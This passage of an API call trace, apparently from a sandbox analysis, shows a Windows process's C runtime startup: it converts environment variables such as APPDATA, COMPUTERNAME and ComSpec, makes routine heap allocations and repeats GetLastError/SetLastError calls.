\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿâpi/lñ\x18", lpUsedDefaultChar=0x0) returned 256 [0101.347] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0101.348] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x42efeb) returned 0x49a8b9 [0101.348] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d47d8) returned 0x80 [0101.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0101.348] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x1f) returned 0x35d2658 [0101.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x35d2658, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0101.348] GetLastError () returned 0x0 [0101.348] SetLastError (dwErrCode=0x0) [0101.348] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x4) returned 0x35c7a38 [0101.348] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35c7a38) returned 0x4 [0101.348] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35c7a38, Size=0x8) returned 0x35c7a38 [0101.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0101.349] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x36) returned 0x35d4a88 [0101.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x35d4a88, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0101.349] GetLastError () returned 0x0 [0101.349] SetLastError (dwErrCode=0x0) [0101.349] GetLastError () returned 0x0 [0101.349] SetLastError (dwErrCode=0x0) [0101.349] GetLastError () returned 0x0 [0101.349] SetLastError (dwErrCode=0x0) [0101.349] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35c7a38) returned 0x8 [0101.349] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35c7a38, Size=0xc) returned 0x35d5fb8 [0101.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0101.349] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x37) returned 0x35d4ac8 [0101.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x35d4ac8, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0101.349] GetLastError () returned 0x0 [0101.349] SetLastError (dwErrCode=0x0) [0101.349] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d5fb8) returned 0xc [0101.350] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d5fb8, Size=0x10) returned 0x35d5fb8 [0101.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0101.350] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x3c) returned 0x35c8818 [0101.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x35c8818, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] GetLastError () returned 0x0 [0101.350] SetLastError (dwErrCode=0x0) [0101.350] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d5fb8) returned 0x10 [0101.350] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d5fb8, Size=0x14) returned 0x35d5fb8 [0101.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0101.350] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x31) returned 0x35d4b08 [0101.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x35d4b08, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d5fb8) returned 0x14 [0101.351] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d5fb8, Size=0x18) returned 0x35d5fb8 [0101.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0101.351] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x17) returned 0x35d4b48 [0101.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x35d4b48, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0101.351] GetLastError () returned 0x0 [0101.351] SetLastError (dwErrCode=0x0) [0101.351] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d5fb8) returned 0x18 [0101.352] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d5fb8, Size=0x1c) returned 0x35d5fb8 [0101.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0101.352] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x24) returned 0x35ce5c8 [0101.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x35ce5c8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.352] GetLastError () returned 0x0 [0101.352] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d5fb8) returned 0x1c [0101.353] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d5fb8, Size=0x20) returned 0x35d5fb8 [0101.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0101.353] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x14) returned 0x35d4b68 [0101.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x35d4b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.353] SetLastError (dwErrCode=0x0) [0101.353] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] GetLastError () returned 0x0 [0101.354] SetLastError (dwErrCode=0x0) [0101.354] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d5fb8) returned 0x20 [0101.354] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d5fb8, Size=0x24) returned 0x35d5fb8 [0101.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0101.354] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0xd) returned 0x35d20f0 [0101.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x35d20f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.355] GetLastError () returned 0x0 [0101.355] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d5fb8) returned 0x24 [0101.356] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d5fb8, Size=0x28) returned 0x35d5fb8 [0101.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0101.356] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x25) returned 0x35ce5f8 [0101.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x35ce5f8, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.356] SetLastError (dwErrCode=0x0) [0101.356] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d5fb8) returned 0x28 [0101.357] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d5fb8, Size=0x2c) returned 0x35d4b88 [0101.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0101.357] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x39) returned 0x35c8860 [0101.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x35c8860, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.357] GetLastError () returned 0x0 [0101.357] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.358] GetLastError () returned 0x0 [0101.358] SetLastError (dwErrCode=0x0) [0101.359] GetLastError () returned 0x0 [0101.359] SetLastError (dwErrCode=0x0) [0101.359] GetLastError () returned 0x0 [0101.359] SetLastError (dwErrCode=0x0) [0101.359] GetLastError () returned 0x0 [0101.359] SetLastError (dwErrCode=0x0) [0101.359] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4b88) returned 0x2c [0101.359] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4b88, Size=0x30) returned 0x35d4b88 [0101.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0101.359] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x18) returned 0x35d5fb8 [0101.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x35d5fb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0101.359] GetLastError () returned 0x0 [0101.359] SetLastError (dwErrCode=0x0) [0101.359] GetLastError () returned 0x0 [0101.359] SetLastError (dwErrCode=0x0) [0101.359] GetLastError () returned 0x0 [0101.359] SetLastError (dwErrCode=0x0) [0101.359] GetLastError () returned 0x0 [0101.359] SetLastError (dwErrCode=0x0) [0101.359] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.360] GetLastError () returned 0x0 [0101.360] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] RtlSizeHeap (HeapHandle=0x35b0000, Flags=0x0, MemoryPointer=0x35d4b88) returned 0x30 [0101.361] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35d4b88, Size=0x34) returned 0x35d4b88 [0101.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0101.361] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x8, Size=0x17) returned 0x35d4bc8 [0101.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x35d4bc8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.361] SetLastError (dwErrCode=0x0) [0101.361] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.362] SetLastError (dwErrCode=0x0) [0101.362] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) [0101.363] GetLastError () returned 0x0 [0101.363] SetLastError (dwErrCode=0x0) 